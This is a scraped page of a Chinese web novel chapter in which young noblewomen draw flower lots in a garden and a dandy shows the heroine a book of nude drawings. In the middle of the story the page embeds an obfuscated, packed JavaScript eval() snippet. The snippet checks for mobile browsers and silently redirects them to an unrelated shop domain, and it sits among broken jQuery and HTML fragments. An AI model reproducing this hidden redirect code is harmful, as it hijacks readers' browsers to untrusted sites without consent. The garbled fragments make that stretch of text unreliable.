文趣网 > 都市小说 > 她的小纨绔 > 16. 花签
    第16章

    李景宜看着郭贞玉和徐念春一步步的走近,穿过曲水游廊,到了那个小园子。

    入口处摆满了木芙蓉,桃红桃红的花瓣子,花瓣上的筋像是莲花,兴许是到了秋日的关系,一种别致的生机和美。

    李景宜刚要开口,却见都察院左副都御史家的三姑娘陆雨萱笑着走过来,芽绿色的方领对襟比甲,领口的缘边比寻常姑娘家的要宽一些,兴许是为了绣上那几朵带着绿意的小铃铛花。

    陆雨萱欢欢喜喜的握住郭贞玉的手,整个人笑靥如花,像是领口那几朵小铃铛花,“我许久不见你,很惦记你。”

    说完又凑近了些,一双灵秀的眼睛扫过李景宜和郭贞玥,声音娇娇的甜甜道:“他俩怎么搅和上了,我跟你说,你不要搭理他们,当臭狗屎得了。”

    陆雨萱与郭贞玉因为曾上过同一个闺塾师的课,所以自幼相熟,后来郭贞玉的大姐姐郭贞湘又与陆雨萱的长兄陆旻议了亲,两人关系就更好了。

    且陆雨萱是那等极为活泼天真的姑娘,行为举止向来大方可爱,像是一颗梅子糖。

    幼年时可爱,长大了,就更可爱了。

    郭贞玉笑着拨了拨她鬓前的双头钗,声音平和而温柔,“嗯。咱们玩儿自己的。”

    陆雨萱听了很高兴,一张白腻的圆圆的小脸靠在郭贞玉的肩膀处,笑的甜甜的,两只小梨涡盈在唇角,“我们去抽花签吧,可有意思呢。”

    徐念春听到抽花签,也从另外一堆贵女中扒拉跑出来,笑着圈住两人,“来来,我们去怡苑,那里清净,我瞧着那些不干不净的人,眼珠疼。”

    陆雨萱听了笑的更欢喜,扯住了徐念春的衣角,朝着郭贞玉笑道:“你瞧她这个样子,将来还要继承徐大人的衣钵去钦天监做女官呢,说话这个直率。”

    郭贞玉笑着看着她俩,觉得岁月静好,很欢喜。

    等到了怡苑,徐念春又死活拉了方才因为嫉妒口出狂言惹恼了李景宜的鸿胪寺卿家的嫡女王柳蕙。一张梨花木桌子,几个人坐在方凳上等着抽花签。

    徐念春拿着一只雕着忍冬纹的签筒,里面装满了红色的签字,她也是承袭了她们徐家的老本行,要签筒摇的跟算命的似的,一边摇着一边笑着朝着郭贞玉道:“贞玉先抽,贞玉是真玉,不用抛转直接引玉。”

    这话一出,就连王柳蕙那等尖酸的也笑的前仰后合,伸手要捂住徐念春的嘴。

    郭贞玉笑了笑,也不忸怩,直接随后抽了一根,左右大家一起玩闹,没什么的,扭扭捏捏的更矫情。

    徐念春从王柳蕙的怀里跑出来,伸手拿过郭贞玉的花签,上面画着一树的桂花,签头上写着“蟾宫折桂”,是一支极好极好的签。

    考科举的秀才们最希望抽中的签。

    郭贞玉笑了笑,大大方方的接受了,朝着徐念春笑道:“借你吉言,我也能蟾宫折桂。”

    陆雨萱放下手里的雪花糕,嘴边的碎末末还未来得及擦干净,便小跑到徐念春跟前,握住了签筒,央求撒娇道:“好姐姐,念春姐姐,让我也抽一支。”

    王柳蕙也来了兴致,故意沉着一张脸,但是却也伸手拿了花签。

    陆雨萱也不顾徐念春的故意逗弄,伸手就把自己的手里花签亮了出来,上面是一簇蔟的红杏,陆雨瑶皱眉,却见徐念春笑着戳了戳她的胳膊肘,“你这小丫头,是要嫁贵婿呢。”

    陆雨萱听到了,小脸唰一下就涨红了,比花签上的红杏还要红一些。

    郭贞玉笑着看着她俩,故意道:“雨萱,你可要信她,她家是传承了百年的钦天监官,家族里个个能掐会算的。别看是花签,指不定就说的准呢。”

    这样的家族,能传承百年,自然是有些说法的。

    但花签准这事儿,是郭贞玉胡诌的。但是陆雨萱却信了,忙睁圆了眼睛朝着徐念春道:“好姐姐,你快说,我要嫁贵婿,好不好看?高不高?清冷不清冷?干不干净?”

    听到这话,徐念春和郭贞玉对视一笑,徐念春没忍住一把揽住了陆雨萱的脖子,伸手刮了一下她的鼻尖,“雨萱,你不是不有意中人了?”

    能脱口而出的条件,皆是对理想型的复述。

    人不可能突然说出,自己不心仪的东西,也不可能忍住自己喜欢的东西,就像是不能忍住打喷嚏。

    陆雨萱脸就更红了,转身窝在郭贞玉的怀里,朝着徐念春道:“徐念春,你最坏了!就是不告诉你。”

    郭贞玉笑着摸摸她的头,故意道:“那你告诉我~”

    陆雨萱将小脸不住地王郭贞玉藕荷色的比甲上蹭,红胭脂都抹到了她对襟的衣缘上。

    王柳蕙看着闹起来的三人,默默将花签扔了。

    没别的,是个空签,上面还写着吟唱江南春。

    她是鸿卢寺卿家的小姐,怎么能跟个戏子似的唱那等东西!

    徐念春是个爱闹的,看到王柳蕙扔了,便又去闹她,“哎,你怎么扔了,我非要看看写的什么。”徐念春要下台阶去那些山茶花丛里去捡,突然被王柳蕙扯住了,两人又笑着闹了起来。

    就这么玩闹儿间,突然见谢怀庆揣着一本子书来了,待看到怡苑的那几位玩闹的贵女,笑着直接过来了。

    王柳蕙最先瞧见的,忙与徐念春松开手,非常贤惠温婉地理了理身上水红色的长衫,微微低着头,一双细长的眉眼却不住的望谢怀庆身上瞟。

    谢怀庆其实很好看,很高也很修长,但穿的依旧很风骚。

    水粉色的交领右衽的大袖直身,领部是月白色的护领,还挺臭屁的用了大带,大带上又轻佻的用了四灵纹的刺绣。

    在青龙、朱雀、白虎和玄武四灵上还特意用了两根锈针以迭鳞针的手法将并列的金银线交织刺出来的,很是俊秀倜傥、明俊逼人。

    王柳蕙一见到,就觉得心像是被驯鹿给撞了一下。

    她初初觉得二殿下李景宜好看,可是如今一看,只觉得李景宜连谢怀庆的那件水粉色的风骚直身都比不得。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947777|213775||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    谢怀庆倒是没注意到王柳蕙,目光直接望向郭贞玉,见都察院副左都御史家的姑娘拱在她怀里,便依靠在漆红色的廊柱上,道:“小爷我还没捞着蜷一回呢,你这小丫头倒是会找地方。”

    陆雨萱的父亲陆建与谢怀庆的外祖父是一派的,所以两人也是自幼相识,但是陆雨萱嫌弃他总是没个正经,也经常不理他。

    “你再乱说,我便告诉谢阁老,看他不打死你。”陆雨萱将身子坐直,蹙眉望着谢怀庆。

    她其实也没招,除了告状。

    但是,对这大魏第一纨绔来说,告状也不管用,指不定下次会拿一只大豆虫扔在她头上,吓唬她。

    不管如何,她觉得总要维护一下郭贞玉的,不能由着他胡说。

    “你去吧,最好也去十八层阎罗王那里也去告一告。”说着,谢怀庆大步走到陆雨萱的身旁,从袖子掏出一只绿色的虫子要往陆雨萱头上扔。

    刚一抬手,就猛地对上郭贞玉那双清冷嗔怒的眸子。

    如秋水,如明月清辉。

    也如刀,刮得他害怕。

    谢怀庆讪讪,将虫子收起来,朝着郭贞玉笑道:“郭二,你来,我带你去瞧瞧这本宝书。”说完把那个包了红包袱的书往郭贞玉眼前一炫。

    郭贞玉冷嗤一声,“以我对你的了解,你也没什么好书。故意逗人的。”

    谢怀庆面色突然端正,好像是正人君子一般,“真不骗你,骗你我就是小狗,或者等你成了内阁女首辅,我就变作赑屃?给你驮碑去。”

    听到这儿,郭贞玉笑了笑,陆雨萱则吃惊地看着谢怀庆和郭贞玉。

    这大富贵堆里养出来的无赖,居然在郭贞玉跟前这么老实?!

    陆雨萱看了徐念春一眼,徐念春又看向王柳蕙。

    王柳蕙微微蹙眉,袖子里的手紧紧捏住了帕子,怎么一个个的俊美的男子,都有心上人?!

    谢怀庆也不管她们,直接拉着郭贞玉朝着东侧的槐玉亭去了。

    郭贞玉伸手拍掉他的手,蹙眉道:“你别当着人,总是与我拉拉扯扯的,显得我跟你怎么着似的。”

    听了这话,谢怀庆转身,一双微圆的眼睛微微眯着,斜睨了郭贞玉一眼,挑高了嗓子道:“郭二,你这话说的,小爷可不爱听。”

    “什么拉拉扯扯?我拉你怎么了?她们死守着规矩,干我们什么事儿?!”

    “你到底给我看什么书?”郭贞玉直接掐断了话头,朝着谢怀庆问道。

    谢怀庆本来是想着跟郭二吵个九九八十一回合的,毕竟他还专门找了京师的状师,练了口条,就为了日后跟郭贞玉吵架时,能一招制敌。

    没成想,郭贞玉一句话给他掐灭了。

    谢怀庆倒是转圜的快,忙笑嘻嘻的将那本包裹着红布的书慢条斯理的展开,然后眼珠子一转,猛地将书大开大合的敞开在郭贞玉眼前。

    上面画着两个人。

    一上一下。

    没穿衣服。